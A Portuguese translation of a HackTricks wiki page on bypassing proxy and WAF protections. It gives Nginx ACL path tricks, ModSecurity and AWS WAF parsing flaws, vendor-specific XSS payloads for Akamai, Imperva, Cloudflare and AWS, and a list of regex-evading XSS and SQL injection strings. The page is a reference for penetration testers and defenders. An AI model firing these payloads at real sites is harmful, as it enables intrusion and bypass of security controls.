mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			215 lines
		
	
	
		
			14 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			215 lines
		
	
	
		
			14 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| # Proxy / WAF Protections Bypass
 | ||
| 
 | ||
| {{#include ../banners/hacktricks-training.md}}
 | ||
| 
 | ||
| 
 | ||
| ## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
 | ||
| 
 | ||
| Técnicas [desta pesquisa](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
 | ||
| 
 | ||
| Exemplo de regra Nginx:
 | ||
| ```plaintext
 | ||
| location = /admin {
 | ||
| deny all;
 | ||
| }
 | ||
| 
 | ||
| location = /admin/ {
 | ||
| deny all;
 | ||
| }
 | ||
| ```
 | ||
| Para evitar bypasses, o Nginx realiza a normalização de caminho antes de verificá-lo. No entanto, se o servidor backend realizar uma normalização diferente (removendo caracteres que o Nginx não remove), pode ser possível contornar essa defesa.
 | ||
| 
 | ||
| ### **NodeJS - Express**
 | ||
| 
 | ||
| | Versão do Nginx | **Caracteres de Bypass do Node.js** |
 | ||
| | --------------- | ------------------------------------ |
 | ||
| | 1.22.0         | `\xA0`                               |
 | ||
| | 1.21.6         | `\xA0`                               |
 | ||
| | 1.20.2         | `\xA0`, `\x09`, `\x0C`               |
 | ||
| | 1.18.0         | `\xA0`, `\x09`, `\x0C`               |
 | ||
| | 1.16.1         | `\xA0`, `\x09`, `\x0C`               |
 | ||
| 
 | ||
| ### **Flask**
 | ||
| 
 | ||
| | Versão do Nginx | **Caracteres de Bypass do Flask**                                   |
 | ||
| | --------------- | ------------------------------------------------------------------- |
 | ||
| | 1.22.0         | `\x85`, `\xA0`                                                      |
 | ||
| | 1.21.6         | `\x85`, `\xA0`                                                      |
 | ||
| | 1.20.2         | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B`    |
 | ||
| | 1.18.0         | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B`    |
 | ||
| | 1.16.1         | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B`    |
 | ||
| 
 | ||
| ### **Spring Boot**
 | ||
| 
 | ||
| | Versão do Nginx | **Caracteres de Bypass do Spring Boot** |
 | ||
| | --------------- | ---------------------------------------- |
 | ||
| | 1.22.0         | `;`                                      |
 | ||
| | 1.21.6         | `;`                                      |
 | ||
| | 1.20.2         | `\x09`, `;`                              |
 | ||
| | 1.18.0         | `\x09`, `;`                              |
 | ||
| | 1.16.1         | `\x09`, `;`                              |
 | ||
| 
 | ||
| ### **PHP-FPM**
 | ||
| 
 | ||
| Configuração do Nginx FPM:
 | ||
| ```plaintext
 | ||
| location = /admin.php {
 | ||
| deny all;
 | ||
| }
 | ||
| 
 | ||
| location ~ \.php$ {
 | ||
| include snippets/fastcgi-php.conf;
 | ||
| fastcgi_pass unix:/run/php/php8.1-fpm.sock;
 | ||
| }
 | ||
| ```
 | ||
| Nginx está configurado para bloquear o acesso a `/admin.php`, mas é possível contornar isso acessando `/admin.php/index.php`.
 | ||
| 
 | ||
| ### Como prevenir
 | ||
| ```plaintext
 | ||
| location ~* ^/admin {
 | ||
| deny all;
 | ||
| }
 | ||
| ```
 | ||
| ## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
 | ||
| 
 | ||
| ### Confusão de Caminho
 | ||
| 
 | ||
| [**Neste post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) é explicado que o ModSecurity v3 (até 3.0.12), **implementou incorretamente a variável `REQUEST_FILENAME`** que deveria conter o caminho acessado (até o início dos parâmetros). Isso ocorre porque ele realizava uma decodificação de URL para obter o caminho.\
 | ||
| Portanto, uma solicitação como `http://example.com/foo%3f';alert(1);foo=` no mod security suporá que o caminho é apenas `/foo` porque `%3f` é transformado em `?` encerrando o caminho da URL, mas na verdade o caminho que um servidor receberá será `/foo%3f';alert(1);foo=`.
 | ||
| 
 | ||
| As variáveis `REQUEST_BASENAME` e `PATH_INFO` também foram afetadas por esse bug.
 | ||
| 
 | ||
| Algo semelhante ocorreu na versão 2 do Mod Security que permitiu contornar uma proteção que impedia o acesso do usuário a arquivos com extensões específicas relacionadas a arquivos de backup (como `.bak`) simplesmente enviando o ponto codificado em URL como `%2e`, por exemplo: `https://example.com/backup%2ebak`.
 | ||
| 
 | ||
| ## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
 | ||
| 
 | ||
| ### Cabeçalho Malformado
 | ||
| 
 | ||
| [Esta pesquisa](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menciona que era possível contornar as regras do AWS WAF aplicadas sobre cabeçalhos HTTP enviando um cabeçalho "malformado" que não era devidamente analisado pela AWS, mas sim pelo servidor de backend.
 | ||
| 
 | ||
| Por exemplo, enviando a seguinte solicitação com uma injeção SQL no cabeçalho X-Query:
 | ||
| ```http
 | ||
| GET / HTTP/1.1\r\n
 | ||
| Host: target.com\r\n
 | ||
| X-Query: Value\r\n
 | ||
| \t' or '1'='1' -- \r\n
 | ||
| Connection: close\r\n
 | ||
| \r\n
 | ||
| ```
 | ||
| Foi possível contornar o AWS WAF porque ele não entendia que a próxima linha faz parte do valor do cabeçalho, enquanto o servidor NODEJS entendia (isso foi corrigido).
 | ||
| 
 | ||
| ## Bypasses Genéricos de WAF
 | ||
| 
 | ||
| ### Limites de Tamanho de Requisição
 | ||
| 
 | ||
| Comumente, os WAFs têm um certo limite de comprimento de requisições para verificar e, se uma requisição POST/PUT/PATCH ultrapassar esse limite, o WAF não verificará a requisição.
 | ||
| 
 | ||
| - Para o AWS WAF, você pode [**verificar a documentação**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
 | ||
| 
 | ||
| <table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Tamanho máximo de um corpo de requisição web que pode ser inspecionado para proteções do Application Load Balancer e AWS AppSync</td><td>8 KB</td></tr><tr><td>Tamanho máximo de um corpo de requisição web que pode ser inspecionado para proteções do CloudFront, API Gateway, Amazon Cognito, App Runner e Verified Access**</td><td>64 KB</td></tr></tbody></table>
 | ||
| 
 | ||
| - De [**documentos do Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
 | ||
| 
 | ||
| Firewalls de Aplicação Web mais antigos com Core Rule Set 3.1 (ou inferior) permitem mensagens maiores que **128 KB** desativando a inspeção do corpo da requisição, mas essas mensagens não serão verificadas quanto a vulnerabilidades. Para versões mais novas (Core Rule Set 3.2 ou mais recentes), o mesmo pode ser feito desativando o limite máximo do corpo da requisição. Quando uma requisição excede o limite de tamanho:
 | ||
| 
 | ||
| Se **modo de prevenção**: Registra e bloqueia a requisição.\
 | ||
| Se **modo de detecção**: Inspeciona até o limite, ignora o restante e registra se o `Content-Length` exceder o limite.
 | ||
| 
 | ||
| - De [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
 | ||
| 
 | ||
| Por padrão, o WAF inspeciona apenas os primeiros 8KB de uma requisição. Ele pode aumentar o limite para até 128KB adicionando Metadados Avançados.
 | ||
| 
 | ||
| - De [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
 | ||
| 
 | ||
| Até 128KB.
 | ||
| 
 | ||
| ### Ofuscação <a href="#obfuscation" id="obfuscation"></a>
 | ||
| ```bash
 | ||
| # IIS, ASP Clasic
 | ||
| <%s%cr%u0131pt> == <script>
 | ||
| 
 | ||
| # Path blacklist bypass - Tomcat
 | ||
| /path1/path2/ == ;/path1;foo/path2;bar/;
 | ||
| ```
 | ||
| ### Compatibilidade Unicode <a href="#unicode-compatability" id="unicode-compatability"></a>
 | ||
| 
 | ||
| Dependendo da implementação da normalização Unicode (mais informações [aqui](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), caracteres que compartilham compatibilidade Unicode podem ser capazes de contornar o WAF e executar como a carga útil pretendida. Caracteres compatíveis podem ser encontrados [aqui](https://www.compart.com/en/unicode).
 | ||
| 
 | ||
| #### Exemplo <a href="#example" id="example"></a>
 | ||
| ```bash
 | ||
| # under the NFKD normalization algorithm, the characters on the left translate
 | ||
| # to the XSS payload on the right
 | ||
| <img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>
 | ||
| ```
 | ||
| ### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
 | ||
| 
 | ||
| Como mencionado em [**este post do blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), para contornar WAFs capazes de manter um contexto da entrada do usuário, poderíamos abusar das técnicas do WAF para realmente normalizar a entrada dos usuários.
 | ||
| 
 | ||
| Por exemplo, no post é mencionado que **Akamai decodificou uma entrada de usuário 10 vezes**. Portanto, algo como `<input/%2525252525252525253e/onfocus` será visto pela Akamai como `<input/>/onfocus`, que **pode pensar que está tudo bem, pois a tag está fechada**. No entanto, enquanto a aplicação não decodificar a entrada 10 vezes, a vítima verá algo como `<input/%25252525252525253e/onfocus`, que **ainda é válido para um ataque XSS**.
 | ||
| 
 | ||
| Portanto, isso permite **ocultar payloads em componentes codificados** que o WAF irá decodificar e interpretar, enquanto a vítima não.
 | ||
| 
 | ||
| Além disso, isso pode ser feito não apenas com payloads codificados em URL, mas também com outras codificações, como unicode, hex, octal...
 | ||
| 
 | ||
| No post, os seguintes bypasses finais são sugeridos:
 | ||
| 
 | ||
| - Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
 | ||
| - Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
 | ||
| - AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
 | ||
| - Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
 | ||
| 
 | ||
| Também é mencionado que, dependendo de **como alguns WAFs entendem o contexto** da entrada do usuário, pode ser possível abusar disso. O exemplo proposto no blog é que a Akamai permitiu colocar qualquer coisa entre `/*` e `*/` (potencialmente porque isso é comumente usado como comentários). Portanto, uma SQL injection como `/*'or sleep(5)-- -*/` não será capturada e será válida, pois `/*` é a string inicial da injeção e `*/` está comentado.
 | ||
| 
 | ||
| Esses tipos de problemas de contexto também podem ser usados para **abusar de outras vulnerabilidades além da que se espera ser explorada pelo WAF** (por exemplo, isso também poderia ser usado para explorar um XSS).
 | ||
| 
 | ||
| ### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
 | ||
| 
 | ||
| {{#ref}}
 | ||
| h2c-smuggling.md
 | ||
| {{#endref}}
 | ||
| 
 | ||
| ### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
 | ||
| 
 | ||
| - [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Gere uma URL de gateway API para ser usada com ffuf
 | ||
| - [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Semelhante ao fireprox
 | ||
| - [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin do Burp Suite que usa IPs de gateway API
 | ||
| - [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Um número dinamicamente determinado de instâncias de contêiner é ativado com base no tamanho do arquivo de entrada e no fator de divisão, com a entrada dividida em partes para execução paralela, como 100 instâncias processando 100 partes de um arquivo de entrada de 10.000 linhas com um fator de divisão de 100 linhas.
 | ||
| - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
 | ||
| 
 | ||
| ### Regex Bypasses
 | ||
| 
 | ||
| Diferentes técnicas podem ser usadas para contornar os filtros regex nos firewalls. Exemplos incluem alternar maiúsculas e minúsculas, adicionar quebras de linha e codificar payloads. Recursos para os vários bypasses podem ser encontrados em [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) e [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Os exemplos abaixo foram retirados de [este artigo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
 | ||
| ```bash
 | ||
| <sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
 | ||
| <<script>alert(XSS)</script> #prepending an additional "<"
 | ||
| <script>alert(XSS) // #removing the closing tag
 | ||
| <script>alert`XSS`</script> #using backticks instead of parenetheses
 | ||
| java%0ascript:alert(1) #using encoded newline characters
 | ||
| <iframe src=http://malicous.com < #double open angle brackets
 | ||
| <STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
 | ||
| <img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
 | ||
| <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
 | ||
| Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
 | ||
| javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
 | ||
| <iframe src="javascript:alert(`xss`)"> #unicode encoding
 | ||
| /?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
 | ||
| new Function`alt\`6\``; #using backticks instead of parentheses
 | ||
| data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
 | ||
| %26%2397;lert(1) #using HTML encoding
 | ||
| <a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
 | ||
| <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
 | ||
| ```
 | ||
| ## Ferramentas
 | ||
| 
 | ||
| - [**nowafpls**](https://github.com/assetnote/nowafpls): Plugin do Burp para adicionar dados aleatórios às requisições para contornar WAFs por comprimento
 | ||
| 
 | ||
| ## Referências
 | ||
| 
 | ||
| - [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
 | ||
| - [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
 | ||
| - [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
 | ||
| - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
 | ||
| 
 | ||
| 
 | ||
| {{#include ../banners/hacktricks-training.md}}
 |